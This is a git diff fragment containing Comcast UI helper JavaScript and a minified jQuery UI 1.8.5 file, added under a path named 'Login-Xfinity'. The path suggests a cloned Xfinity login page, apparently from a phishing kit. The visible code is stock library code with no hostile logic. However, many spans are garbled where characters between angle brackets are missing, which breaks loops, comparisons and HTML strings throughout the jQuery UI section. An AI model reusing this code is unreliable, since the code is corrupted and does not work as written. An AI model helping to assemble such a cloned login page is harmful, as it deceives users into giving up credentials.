'))}}}}}}function setupBatteryIndicator(){var battery=$("li.battery").text().match(/\d+/);var $icon=$("li.battery span");if(battery>90){$icon.removeClass().addClass("bat-100")}else{if(battery>60){$icon.removeClass().addClass("bat-75")}else{if(battery>39){$icon.removeClass().addClass("bat-50")}else{if(battery>18){$icon.removeClass().addClass("bat-25")}else{if(battery>8){$icon.removeClass().addClass("bat-10")}else{$icon.removeClass().addClass("bat-0")}}}}}}function setupEducationalTip(){if($("#educational-tip:has(.hidden)").length>0){var closed=true;var $link=$('more').click(function(){if(closed){$("#educational-tip .hidden").fadeIn();closed=false;$(this).html("less")}else{$("#educational-tip .hidden").fadeOut();closed=true;$(this).html("more")}}).appendTo("#educational-tip")}}function setupFirewallDisplay(){var $link=$("#security-level label");var $div=$("#security-level .hide");$($div).hide();$($link).click(function(e){$(this).siblings(".hide").slideToggle()})}function setupDeleteConfirmDialogs(){$("a.confirm").click(function(e){e.preventDefault();var href=$(this).attr("href");var message=($(this).attr("title").length>0)?"Are you sure you want to "+$(this).attr("title")+"?":"Are you sure?";jConfirm(message,"Are You Sure?",function(ret){if(ret){window.location=href}})})}function setupFormValidation(){$.validator.setDefaults({errorElement:"p",errorPlacement:function(error,element){error.appendTo(element.closest(".form-row"))}});jQuery.extend(jQuery.validator.messages,{required:"This is a required field.",remote:"Please fix this field.",email:"Please enter a valid email address.",url:"Please enter a valid URL.",date:"Please enter a valid date.",dateISO:"Please enter a valid date (ISO).",number:"Please enter a valid number.",digits:"Please enter only digits",creditcard:"Please enter a valid credit card number.",equalTo:"Please enter the same value again.",accept:"Please enter a value with a valid extension.",maxlength:$.validator.format("Please enter no more than {0} characters."),minlength:$.validator.format("Please enter at least {0} characters."),rangelength:$.validator.format("Please enter a value between {0} and {1} characters long."),range:$.validator.format("Please enter a value between {0} and {1}."),max:$.validator.format("Please enter a value less than or equal to {0}."),min:$.validator.format("Please enter a value greater than or equal to {0}."),ipv4:"Please enter an IPv4 address in the format #.#.#.#"});$.validator.addMethod("alphanumeric",function(value,element){return this.optional(element)||/^[a-zA-Z0-9]+$/i.test(value)},"Only letters and numbers are valid. No spaces or special characters.");$.validator.addMethod("exactlengths",function(value,element,param){return this.optional(element)||!jQuery.inArray(value.length,param)},"Please enter exactly {0} characters.");$.validator.addMethod("hexadecimal",function(value,element){return this.optional(element)||/^[a-fA-F0-9]+$/i.test(value)},"Only hexadecimal characters are valid. Acceptable characters are ABCDEF0123456789.");$.validator.addMethod("exactlength",function(value,element,param){return this.optional(element)||value.length==param},jQuery.format("Please enter exactly {0} characters."));$.validator.addMethod("ipv4",function(value,element){return this.optional(element)||/^0*([1-9]?\d|1\d\d|2[0-4]\d|25[0-5])\.0*([1-9]?\d|1\d\d|2[0-4]\d|25[0-5])\.0*([1-9]?\d|1\d\d|2[0-4]\d|25[0-5])\.0*([1-9]?\d|1\d\d|2[0-4]\d|25[0-5])$/i.test(value)},"Please enter an IPv4 address in the format #.#.#.#");jQuery.validator.addMethod("ip",function(val,el){function ip_valid(value){return(value.match(/^\d+$/g)&&value>=0&&value<=255)} +var inputs=$(el).closest(".form-row").find("input");var isValid=true;inputs.each(function(index,element){isValid&=ip_valid($(element).val())});return isValid},"Please enter a valid IP address.");$.validator.addMethod("ipv6",function(value,element){return this.optional(element)||/^\s*((([0-9A-Fa-f]{1,4}:){7}(([0-9A-Fa-f]{1,4})|:))|(([0-9A-Fa-f]{1,4}:){6}(:|((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})|(:[0-9A-Fa-f]{1,4})))|(([0-9A-Fa-f]{1,4}:){5}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(([0-9A-Fa-f]{1,4}:){4}(:[0-9A-Fa-f]{1,4}){0,1}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(([0-9A-Fa-f]{1,4}:){3}(:[0-9A-Fa-f]{1,4}){0,2}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(([0-9A-Fa-f]{1,4}:){2}(:[0-9A-Fa-f]{1,4}){0,3}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(([0-9A-Fa-f]{1,4}:)(:[0-9A-Fa-f]{1,4}){0,4}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(:(:[0-9A-Fa-f]{1,4}){0,5}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})))(%.+)?\s*$/i.test(value)},"Please enter an IPv6 address in the format");$.validator.addMethod("mac",function(value,element){return this.optional(element)||/^[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]$/i.test(value)},"Please enter an MAC address in the format xx:xx:xx:xx:xx:xx");$.validator.addClassRules({octet:{range:[0,255]},ipv4:{ipv4:true},ipv6:{ipv6:true},hexadecimal:{hexadecimal:true},exactlength:{exactlength:true}})}function setupTooltipInHeader(){$("#status li").mouseenter(function(){$(".tooltip",this).fadeIn()}).mouseleave(function(){$(".tooltip",this).fadeOut()})} +return{init:function(title,navElementId){document.title=title+" - "+document.title;setupLeftNavigation(navElementId);setupDeleteConfirmDialogs();setupBatteryIndicator();setupEducationalTip();setupFormValidation();setupFirewallDisplay();setupTooltipInHeader();try{document.execCommand("BackgroundImageCache",false,true)}catch(e){} +if($.browser.msie){$("input:radio, input:checkbox").click(function(){this.blur();this.focus()})}}}}();comcast.breakWord=function(originalString,characterLimit){var originalString=""+originalStrin +g;var characterLimit=parseInt(characterLimit);if(originalString.length<=0||characterLimit<=0){return} +var re=new RegExp("(\\w{"+characterLimit+"})","g");return originalString.replace(re,"$1 ")};$.fn.radioToButton=function(settings){var config={autoSubmitForm:false};if(settings){$.extend(config,settings)} +this.each(function(){var $c=$container=$(this);var $boxes=$c.find("li");$c.addClass("radiolist");$("li",$c).removeClass("selected");$("input:radio:checked",$c).parent().addClass("selected");$("label",$c).click(function(e){e.preventDefault();var $parent;var $radio;$boxes.removeClass("selected");$parent=$(this).parent().addClass("selected");$("input:radio",$c).attr("checked",false);$radio=$parent.find("input:radio").attr("checked",true);$c.trigger("change",[$radio.val()]);if(config.autoSubmitForm){$c.closest("form").submit()}})});return this}; diff --git a/sites/Login-Xfinity/Xfinity_files/jquery-ui-1.8.5.custom.min.js b/sites/Login-Xfinity/Xfinity_files/jquery-ui-1.8.5.custom.min.js new file mode 100755 index 0000000..30e2d3f --- /dev/null +++ b/sites/Login-Xfinity/Xfinity_files/jquery-ui-1.8.5.custom.min.js @@ -0,0 +1,778 @@ +/*! + * jQuery UI 1.8.5 + * + * Copyright 2010, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI + */ +(function(c,j){function k(a){return!c(a).parents().andSelf().filter(function(){return c.curCSS(this,"visibility")==="hidden"||c.expr.filters.hidden(this)}).length}c.ui=c.ui||{};if(!c.ui.version){c.extend(c.ui,{version:"1.8.5",keyCode:{ALT:18,BACKSPACE:8,CAPS_LOCK:20,COMMA:188,COMMAND:91,COMMAND_LEFT:91,COMMAND_RIGHT:93,CONTROL:17,DELETE:46,DOWN:40,END:35,ENTER:13,ESCAPE:27,HOME:36,INSERT:45,LEFT:37,MENU:93,NUMPAD_ADD:107,NUMPAD_DECIMAL:110,NUMPAD_DIVIDE:111,NUMPAD_ENTER:108,NUMPAD_MULTIPLY:106, +NUMPAD_SUBTRACT:109,PAGE_DOWN:34,PAGE_UP:33,PERIOD:190,RIGHT:39,SHIFT:16,SPACE:32,TAB:9,UP:38,WINDOWS:91}});c.fn.extend({_focus:c.fn.focus,focus:function(a,b){return typeof a==="number"?this.each(function(){var d=this;setTimeout(function(){c(d).focus();b&&b.call(d)},a)}):this._focus.apply(this,arguments)},scrollParent:function(){var a;a=c.browser.msie&&/(static|relative)/.test(this.css("position"))||/absolute/.test(this.css("position"))?this.parents().filter(function(){return/(relative|absolute|fixed)/.test(c.curCSS(this, +"position",1))&&/(auto|scroll)/.test(c.curCSS(this,"overflow",1)+c.curCSS(this,"overflow-y",1)+c.curCSS(this,"overflow-x",1))}).eq(0):this.parents().filter(function(){return/(auto|scroll)/.test(c.curCSS(this,"overflow",1)+c.curCSS(this,"overflow-y",1)+c.curCSS(this,"overflow-x",1))}).eq(0);return/fixed/.test(this.css("position"))||!a.length?c(document):a},zIndex:function(a){if(a!==j)return this.css("zIndex",a);if(this.length){a=c(this[0]);for(var b;a.length&&a[0]!==document;){b=a.css("position"); +if(b==="absolute"||b==="relative"||b==="fixed"){b=parseInt(a.css("zIndex"));if(!isNaN(b)&&b!=0)return b}a=a.parent()}}return 0},disableSelection:function(){return this.bind("mousedown.ui-disableSelection selectstart.ui-disableSelection",function(a){a.preventDefault()})},enableSelection:function(){return this.unbind(".ui-disableSelection")}});c.each(["Width","Height"],function(a,b){function d(f,g,l,m){c.each(e,function(){g-=parseFloat(c.curCSS(f,"padding"+this,true))||0;if(l)g-=parseFloat(c.curCSS(f, +"border"+this+"Width",true))||0;if(m)g-=parseFloat(c.curCSS(f,"margin"+this,true))||0});return g}var e=b==="Width"?["Left","Right"]:["Top","Bottom"],h=b.toLowerCase(),i={innerWidth:c.fn.innerWidth,innerHeight:c.fn.innerHeight,outerWidth:c.fn.outerWidth,outerHeight:c.fn.outerHeight};c.fn["inner"+b]=function(f){if(f===j)return i["inner"+b].call(this);return this.each(function(){c.style(this,h,d(this,f)+"px")})};c.fn["outer"+b]=function(f,g){if(typeof f!=="number")return i["outer"+b].call(this,f);return this.each(function(){c.style(this, +h,d(this,f,true,g)+"px")})}});c.extend(c.expr[":"],{data:function(a,b,d){return!!c.data(a,d[3])},focusable:function(a){var b=a.nodeName.toLowerCase(),d=c.attr(a,"tabindex");if("area"===b){b=a.parentNode;d=b.name;if(!a.href||!d||b.nodeName.toLowerCase()!=="map")return false;a=c("img[usemap=#"+d+"]")[0];return!!a&&k(a)}return(/input|select|textarea|button|object/.test(b)?!a.disabled:"a"==b?a.href||!isNaN(d):!isNaN(d))&&k(a)},tabbable:function(a){var b=c.attr(a,"tabindex");return(isNaN(b)||b>=0)&&c(a).is(":focusable")}}); +c(function(){var a=document.createElement("div"),b=document.body;c.extend(a.style,{minHeight:"100px",height:"auto",padding:0,borderWidth:0});c.support.minHeight=b.appendChild(a).offsetHeight===100;b.removeChild(a).style.display="none"});c.extend(c.ui,{plugin:{add:function(a,b,d){a=c.ui[a].prototype;for(var e in d){a.plugins[e]=a.plugins[e]||[];a.plugins[e].push([b,d[e]])}},call:function(a,b,d){if((b=a.plugins[b])&&a.element[0].parentNode)for(var e=0;e0)return true;a[b]=1;d=a[b]>0;a[b]=0;return d},isOverAxis:function(a,b,d){return a>b&&a=this.options.distance},_mouseDelayMet:function(){return this.mouseDelayMet},_mouseStart:function(){},_mouseDrag:function(){},_mouseStop:function(){},_mouseCapture:function(){return true}})})(jQuery); +;/* + * jQuery UI Position 1.8.5 + * + * Copyright 2010, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Position + */ +(function(c){c.ui=c.ui||{};var n=/left|center|right/,o=/top|center|bottom/,t=c.fn.position,u=c.fn.offset;c.fn.position=function(b){if(!b||!b.of)return t.apply(this,arguments);b=c.extend({},b);var a=c(b.of),d=a[0],g=(b.collision||"flip").split(" "),e=b.offset?b.offset.split(" "):[0,0],h,k,j;if(d.nodeType===9){h=a.width();k=a.height();j={top:0,left:0}}else if(d.scrollTo&&d.document){h=a.width();k=a.height();j={top:a.scrollTop(),left:a.scrollLeft()}}else if(d.preventDefault){b.at="left top";h=k=0;j= +{top:b.of.pageY,left:b.of.pageX}}else{h=a.outerWidth();k=a.outerHeight();j=a.offset()}c.each(["my","at"],function(){var f=(b[this]||"").split(" ");if(f.length===1)f=n.test(f[0])?f.concat(["center"]):o.test(f[0])?["center"].concat(f):["center","center"];f[0]=n.test(f[0])?f[0]:"center";f[1]=o.test(f[1])?f[1]:"center";b[this]=f});if(g.length===1)g[1]=g[0];e[0]=parseInt(e[0],10)||0;if(e.length===1)e[1]=e[0];e[1]=parseInt(e[1],10)||0;if(b.at[0]==="right")j.left+=h;else if(b.at[0]==="center")j.left+=h/ +2;if(b.at[1]==="bottom")j.top+=k;else if(b.at[1]==="center")j.top+=k/2;j.left+=e[0];j.top+=e[1];return this.each(function(){var f=c(this),l=f.outerWidth(),m=f.outerHeight(),p=parseInt(c.curCSS(this,"marginLeft",true))||0,q=parseInt(c.curCSS(this,"marginTop",true))||0,v=l+p+parseInt(c.curCSS(this,"marginRight",true))||0,w=m+q+parseInt(c.curCSS(this,"marginBottom",true))||0,i=c.extend({},j),r;if(b.my[0]==="right")i.left-=l;else if(b.my[0]==="center")i.left-=l/2;if(b.my[1]==="bottom")i.top-=m;else if(b.my[1]=== +"center")i.top-=m/2;i.left=parseInt(i.left);i.top=parseInt(i.top);r={left:i.left-p,top:i.top-q};c.each(["left","top"],function(s,x){c.ui.position[g[s]]&&c.ui.position[g[s]][x](i,{targetWidth:h,targetHeight:k,elemWidth:l,elemHeight:m,collisionPosition:r,collisionWidth:v,collisionHeight:w,offset:e,my:b.my,at:b.at})});c.fn.bgiframe&&f.bgiframe();f.offset(c.extend(i,{using:b.using}))})};c.ui.position={fit:{left:function(b,a){var d=c(window);d=a.collisionPosition.left+a.collisionWidth-d.width()-d.scrollLeft(); +b.left=d>0?b.left-d:Math.max(b.left-a.collisionPosition.left,b.left)},top:function(b,a){var d=c(window);d=a.collisionPosition.top+a.collisionHeight-d.height()-d.scrollTop();b.top=d>0?b.top-d:Math.max(b.top-a.collisionPosition.top,b.top)}},flip:{left:function(b,a){if(a.at[0]!=="center"){var d=c(window);d=a.collisionPosition.left+a.collisionWidth-d.width()-d.scrollLeft();var g=a.my[0]==="left"?-a.elemWidth:a.my[0]==="right"?a.elemWidth:0,e=a.at[0]==="left"?a.targetWidth:-a.targetWidth,h=-2*a.offset[0]; +b.left+=a.collisionPosition.left<0?g+e+h:d>0?g+e+h:0}},top:function(b,a){if(a.at[1]!=="center"){var d=c(window);d=a.collisionPosition.top+a.collisionHeight-d.height()-d.scrollTop();var g=a.my[1]==="top"?-a.elemHeight:a.my[1]==="bottom"?a.elemHeight:0,e=a.at[1]==="top"?a.targetHeight:-a.targetHeight,h=-2*a.offset[1];b.top+=a.collisionPosition.top<0?g+e+h:d>0?g+e+h:0}}}};if(!c.offset.setOffset){c.offset.setOffset=function(b,a){if(/static/.test(c.curCSS(b,"position")))b.style.position="relative";var d= +c(b),g=d.offset(),e=parseInt(c.curCSS(b,"top",true),10)||0,h=parseInt(c.curCSS(b,"left",true),10)||0;g={top:a.top-g.top+e,left:a.left-g.left+h};"using"in a?a.using.call(b,g):d.css(g)};c.fn.offset=function(b){var a=this[0];if(!a||!a.ownerDocument)return null;if(b)return this.each(function(){c.offset.setOffset(this,b)});return u.call(this)}}})(jQuery); +;/* + * jQuery UI Draggable 1.8.5 + * + * Copyright 2010, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Draggables + * + * Depends: + * jquery.ui.core.js + * jquery.ui.mouse.js + * jquery.ui.widget.js + */ +(function(d){d.widget("ui.draggable",d.ui.mouse,{widgetEventPrefix:"drag",options:{addClasses:true,appendTo:"parent",axis:false,connectToSortable:false,containment:false,cursor:"auto",cursorAt:false,grid:false,handle:false,helper:"original",iframeFix:false,opacity:false,refreshPositions:false,revert:false,revertDuration:500,scope:"default",scroll:true,scrollSensitivity:20,scrollSpeed:20,snap:false,snapMode:"both",snapTolerance:20,stack:false,zIndex:false},_create:function(){if(this.options.helper== +"original"&&!/^(?:r|a|f)/.test(this.element.css("position")))this.element[0].style.position="relative";this.options.addClasses&&this.element.addClass("ui-draggable");this.options.disabled&&this.element.addClass("ui-draggable-disabled");this._mouseInit()},destroy:function(){if(this.element.data("draggable")){this.element.removeData("draggable").unbind(".draggable").removeClass("ui-draggable ui-draggable-dragging ui-draggable-disabled");this._mouseDestroy();return this}},_mouseCapture:function(a){var b= +this.options;if(this.helper||b.disabled||d(a.target).is(".ui-resizable-handle"))return false;this.handle=this._getHandle(a);if(!this.handle)return false;return true},_mouseStart:function(a){var b=this.options;this.helper=this._createHelper(a);this._cacheHelperProportions();if(d.ui.ddmanager)d.ui.ddmanager.current=this;this._cacheMargins();this.cssPosition=this.helper.css("position");this.scrollParent=this.helper.scrollParent();this.offset=this.positionAbs=this.element.offset();this.offset={top:this.offset.top- +this.margins.top,left:this.offset.left-this.margins.left};d.extend(this.offset,{click:{left:a.pageX-this.offset.left,top:a.pageY-this.offset.top},parent:this._getParentOffset(),relative:this._getRelativeOffset()});this.originalPosition=this.position=this._generatePosition(a);this.originalPageX=a.pageX;this.originalPageY=a.pageY;b.cursorAt&&this._adjustOffsetFromHelper(b.cursorAt);b.containment&&this._setContainment();if(this._trigger("start",a)===false){this._clear();return false}this._cacheHelperProportions(); +d.ui.ddmanager&&!b.dropBehaviour&&d.ui.ddmanager.prepareOffsets(this,a);this.helper.addClass("ui-draggable-dragging");this._mouseDrag(a,true);return true},_mouseDrag:function(a,b){this.position=this._generatePosition(a);this.positionAbs=this._convertPositionTo("absolute");if(!b){b=this._uiHash();if(this._trigger("drag",a,b)===false){this._mouseUp({});return false}this.position=b.position}if(!this.options.axis||this.options.axis!="y")this.helper[0].style.left=this.position.left+"px";if(!this.options.axis|| +this.options.axis!="x")this.helper[0].style.top=this.position.top+"px";d.ui.ddmanager&&d.ui.ddmanager.drag(this,a);return false},_mouseStop:function(a){var b=false;if(d.ui.ddmanager&&!this.options.dropBehaviour)b=d.ui.ddmanager.drop(this,a);if(this.dropped){b=this.dropped;this.dropped=false}if(!this.element[0]||!this.element[0].parentNode)return false;if(this.options.revert=="invalid"&&!b||this.options.revert=="valid"&&b||this.options.revert===true||d.isFunction(this.options.revert)&&this.options.revert.call(this.element, +b)){var c=this;d(this.helper).animate(this.originalPosition,parseInt(this.options.revertDuration,10),function(){c._trigger("stop",a)!==false&&c._clear()})}else this._trigger("stop",a)!==false&&this._clear();return false},cancel:function(){this.helper.is(".ui-draggable-dragging")?this._mouseUp({}):this._clear();return this},_getHandle:function(a){var b=!this.options.handle||!d(this.options.handle,this.element).length?true:false;d(this.options.handle,this.element).find("*").andSelf().each(function(){if(this== +a.target)b=true});return b},_createHelper:function(a){var b=this.options;a=d.isFunction(b.helper)?d(b.helper.apply(this.element[0],[a])):b.helper=="clone"?this.element.clone():this.element;a.parents("body").length||a.appendTo(b.appendTo=="parent"?this.element[0].parentNode:b.appendTo);a[0]!=this.element[0]&&!/(fixed|absolute)/.test(a.css("position"))&&a.css("position","absolute");return a},_adjustOffsetFromHelper:function(a){if(typeof a=="string")a=a.split(" ");if(d.isArray(a))a={left:+a[0],top:+a[1]|| +0};if("left"in a)this.offset.click.left=a.left+this.margins.left;if("right"in a)this.offset.click.left=this.helperProportions.width-a.right+this.margins.left;if("top"in a)this.offset.click.top=a.top+this.margins.top;if("bottom"in a)this.offset.click.top=this.helperProportions.height-a.bottom+this.margins.top},_getParentOffset:function(){this.offsetParent=this.helper.offsetParent();var a=this.offsetParent.offset();if(this.cssPosition=="absolute"&&this.scrollParent[0]!=document&&d.ui.contains(this.scrollParent[0], +this.offsetParent[0])){a.left+=this.scrollParent.scrollLeft();a.top+=this.scrollParent.scrollTop()}if(this.offsetParent[0]==document.body||this.offsetParent[0].tagName&&this.offsetParent[0].tagName.toLowerCase()=="html"&&d.browser.msie)a={top:0,left:0};return{top:a.top+(parseInt(this.offsetParent.css("borderTopWidth"),10)||0),left:a.left+(parseInt(this.offsetParent.css("borderLeftWidth"),10)||0)}},_getRelativeOffset:function(){if(this.cssPosition=="relative"){var a=this.element.position();return{top:a.top- +(parseInt(this.helper.css("top"),10)||0)+this.scrollParent.scrollTop(),left:a.left-(parseInt(this.helper.css("left"),10)||0)+this.scrollParent.scrollLeft()}}else return{top:0,left:0}},_cacheMargins:function(){this.margins={left:parseInt(this.element.css("marginLeft"),10)||0,top:parseInt(this.element.css("marginTop"),10)||0}},_cacheHelperProportions:function(){this.helperProportions={width:this.helper.outerWidth(),height:this.helper.outerHeight()}},_setContainment:function(){var a=this.options;if(a.containment== +"parent")a.containment=this.helper[0].parentNode;if(a.containment=="document"||a.containment=="window")this.containment=[0-this.offset.relative.left-this.offset.parent.left,0-this.offset.relative.top-this.offset.parent.top,d(a.containment=="document"?document:window).width()-this.helperProportions.width-this.margins.left,(d(a.containment=="document"?document:window).height()||document.body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top];if(!/^(document|window|parent)$/.test(a.containment)&& +a.containment.constructor!=Array){var b=d(a.containment)[0];if(b){a=d(a.containment).offset();var c=d(b).css("overflow")!="hidden";this.containment=[a.left+(parseInt(d(b).css("borderLeftWidth"),10)||0)+(parseInt(d(b).css("paddingLeft"),10)||0)-this.margins.left,a.top+(parseInt(d(b).css("borderTopWidth"),10)||0)+(parseInt(d(b).css("paddingTop"),10)||0)-this.margins.top,a.left+(c?Math.max(b.scrollWidth,b.offsetWidth):b.offsetWidth)-(parseInt(d(b).css("borderLeftWidth"),10)||0)-(parseInt(d(b).css("paddingRight"), +10)||0)-this.helperProportions.width-this.margins.left,a.top+(c?Math.max(b.scrollHeight,b.offsetHeight):b.offsetHeight)-(parseInt(d(b).css("borderTopWidth"),10)||0)-(parseInt(d(b).css("paddingBottom"),10)||0)-this.helperProportions.height-this.margins.top]}}else if(a.containment.constructor==Array)this.containment=a.containment},_convertPositionTo:function(a,b){if(!b)b=this.position;a=a=="absolute"?1:-1;var c=this.cssPosition=="absolute"&&!(this.scrollParent[0]!=document&&d.ui.contains(this.scrollParent[0], +this.offsetParent[0]))?this.offsetParent:this.scrollParent,f=/(html|body)/i.test(c[0].tagName);return{top:b.top+this.offset.relative.top*a+this.offset.parent.top*a-(d.browser.safari&&d.browser.version<526&&this.cssPosition=="fixed"?0:(this.cssPosition=="fixed"?-this.scrollParent.scrollTop():f?0:c.scrollTop())*a),left:b.left+this.offset.relative.left*a+this.offset.parent.left*a-(d.browser.safari&&d.browser.version<526&&this.cssPosition=="fixed"?0:(this.cssPosition=="fixed"?-this.scrollParent.scrollLeft(): +f?0:c.scrollLeft())*a)}},_generatePosition:function(a){var b=this.options,c=this.cssPosition=="absolute"&&!(this.scrollParent[0]!=document&&d.ui.contains(this.scrollParent[0],this.offsetParent[0]))?this.offsetParent:this.scrollParent,f=/(html|body)/i.test(c[0].tagName),e=a.pageX,g=a.pageY;if(this.originalPosition){if(this.containment){if(a.pageX-this.offset.click.leftthis.containment[2])e=this.containment[2]+this.offset.click.left;if(a.pageY-this.offset.click.top>this.containment[3])g=this.containment[3]+this.offset.click.top}if(b.grid){g=this.originalPageY+Math.round((g-this.originalPageY)/b.grid[1])*b.grid[1];g=this.containment?!(g-this.offset.click.topthis.containment[3])?g:!(g-this.offset.click.topthis.containment[2])?e:!(e-this.offset.click.left').css({width:this.offsetWidth+"px",height:this.offsetHeight+"px",position:"absolute",opacity:"0.001",zIndex:1E3}).css(d(this).offset()).appendTo("body")})},stop:function(){d("div.ui-draggable-iframeFix").each(function(){this.parentNode.removeChild(this)})}});d.ui.plugin.add("draggable","opacity",{start:function(a,b){a=d(b.helper);b=d(this).data("draggable").options; +if(a.css("opacity"))b._opacity=a.css("opacity");a.css("opacity",b.opacity)},stop:function(a,b){a=d(this).data("draggable").options;a._opacity&&d(b.helper).css("opacity",a._opacity)}});d.ui.plugin.add("draggable","scroll",{start:function(){var a=d(this).data("draggable");if(a.scrollParent[0]!=document&&a.scrollParent[0].tagName!="HTML")a.overflowOffset=a.scrollParent.offset()},drag:function(a){var b=d(this).data("draggable"),c=b.options,f=false;if(b.scrollParent[0]!=document&&b.scrollParent[0].tagName!= +"HTML"){if(!c.axis||c.axis!="x")if(b.overflowOffset.top+b.scrollParent[0].offsetHeight-a.pageY=0;h--){var i=c.snapElements[h].left,k=i+c.snapElements[h].width,j=c.snapElements[h].top,l=j+c.snapElements[h].height;if(i-e=j&&f<=l||h>=j&&h<=l||fl)&&(e>= +i&&e<=k||g>=i&&g<=k||ek);default:return false}};d.ui.ddmanager={current:null,droppables:{"default":[]},prepareOffsets:function(a,b){var c=d.ui.ddmanager.droppables[a.options.scope]||[],e=b?b.type:null,g=(a.currentItem||a.element).find(":data(droppable)").andSelf(),f=0;a:for(;f').css({position:this.element.css("position"),width:this.element.outerWidth(),height:this.element.outerHeight(), +top:this.element.css("top"),left:this.element.css("left")}));this.element=this.element.parent().data("resizable",this.element.data("resizable"));this.elementIsWrapper=true;this.element.css({marginLeft:this.originalElement.css("marginLeft"),marginTop:this.originalElement.css("marginTop"),marginRight:this.originalElement.css("marginRight"),marginBottom:this.originalElement.css("marginBottom")});this.originalElement.css({marginLeft:0,marginTop:0,marginRight:0,marginBottom:0});this.originalResizeStyle= +this.originalElement.css("resize");this.originalElement.css("resize","none");this._proportionallyResizeElements.push(this.originalElement.css({position:"static",zoom:1,display:"block"}));this.originalElement.css({margin:this.originalElement.css("margin")});this._proportionallyResize()}this.handles=a.handles||(!e(".ui-resizable-handle",this.element).length?"e,s,se":{n:".ui-resizable-n",e:".ui-resizable-e",s:".ui-resizable-s",w:".ui-resizable-w",se:".ui-resizable-se",sw:".ui-resizable-sw",ne:".ui-resizable-ne", +nw:".ui-resizable-nw"});if(this.handles.constructor==String){if(this.handles=="all")this.handles="n,e,s,w,se,sw,ne,nw";var c=this.handles.split(",");this.handles={};for(var d=0;d');/sw|se|ne|nw/.test(f)&&g.css({zIndex:++a.zIndex});"se"==f&&g.addClass("ui-icon ui-icon-gripsmall-diagonal-se");this.handles[f]=".ui-resizable-"+f;this.element.append(g)}}this._renderAxis=function(h){h=h||this.element;for(var i in this.handles){if(this.handles[i].constructor== +String)this.handles[i]=e(this.handles[i],this.element).show();if(this.elementIsWrapper&&this.originalElement[0].nodeName.match(/textarea|input|select|button/i)){var j=e(this.handles[i],this.element),k=0;k=/sw|ne|nw|se|n|s/.test(i)?j.outerHeight():j.outerWidth();j=["padding",/ne|nw|n/.test(i)?"Top":/se|sw|s/.test(i)?"Bottom":/^e$/.test(i)?"Right":"Left"].join("");h.css(j,k);this._proportionallyResize()}e(this.handles[i])}};this._renderAxis(this.element);this._handles=e(".ui-resizable-handle",this.element).disableSelection(); +this._handles.mouseover(function(){if(!b.resizing){if(this.className)var h=this.className.match(/ui-resizable-(se|sw|ne|nw|n|e|s|w)/i);b.axis=h&&h[1]?h[1]:"se"}});if(a.autoHide){this._handles.hide();e(this.element).addClass("ui-resizable-autohide").hover(function(){e(this).removeClass("ui-resizable-autohide");b._handles.show()},function(){if(!b.resizing){e(this).addClass("ui-resizable-autohide");b._handles.hide()}})}this._mouseInit()},destroy:function(){this._mouseDestroy();var b=function(c){e(c).removeClass("ui-resizable ui-resizable-disabled ui-resizable-resizing").removeData("resizable").unbind(".resizable").find(".ui-resizable-handle").remove()}; +if(this.elementIsWrapper){b(this.element);var a=this.element;a.after(this.originalElement.css({position:a.css("position"),width:a.outerWidth(),height:a.outerHeight(),top:a.css("top"),left:a.css("left")})).remove()}this.originalElement.css("resize",this.originalResizeStyle);b(this.originalElement);return this},_mouseCapture:function(b){var a=false;for(var c in this.handles)if(e(this.handles[c])[0]==b.target)a=true;return!this.options.disabled&&a},_mouseStart:function(b){var a=this.options,c=this.element.position(), +d=this.element;this.resizing=true;this.documentScroll={top:e(document).scrollTop(),left:e(document).scrollLeft()};if(d.is(".ui-draggable")||/absolute/.test(d.css("position")))d.css({position:"absolute",top:c.top,left:c.left});e.browser.opera&&/relative/.test(d.css("position"))&&d.css({position:"relative",top:"auto",left:"auto"});this._renderProxy();c=m(this.helper.css("left"));var f=m(this.helper.css("top"));if(a.containment){c+=e(a.containment).scrollLeft()||0;f+=e(a.containment).scrollTop()||0}this.offset= +this.helper.offset();this.position={left:c,top:f};this.size=this._helper?{width:d.outerWidth(),height:d.outerHeight()}:{width:d.width(),height:d.height()};this.originalSize=this._helper?{width:d.outerWidth(),height:d.outerHeight()}:{width:d.width(),height:d.height()};this.originalPosition={left:c,top:f};this.sizeDiff={width:d.outerWidth()-d.width(),height:d.outerHeight()-d.height()};this.originalMousePosition={left:b.pageX,top:b.pageY};this.aspectRatio=typeof a.aspectRatio=="number"?a.aspectRatio: +this.originalSize.width/this.originalSize.height||1;a=e(".ui-resizable-"+this.axis).css("cursor");e("body").css("cursor",a=="auto"?this.axis+"-resize":a);d.addClass("ui-resizable-resizing");this._propagate("start",b);return 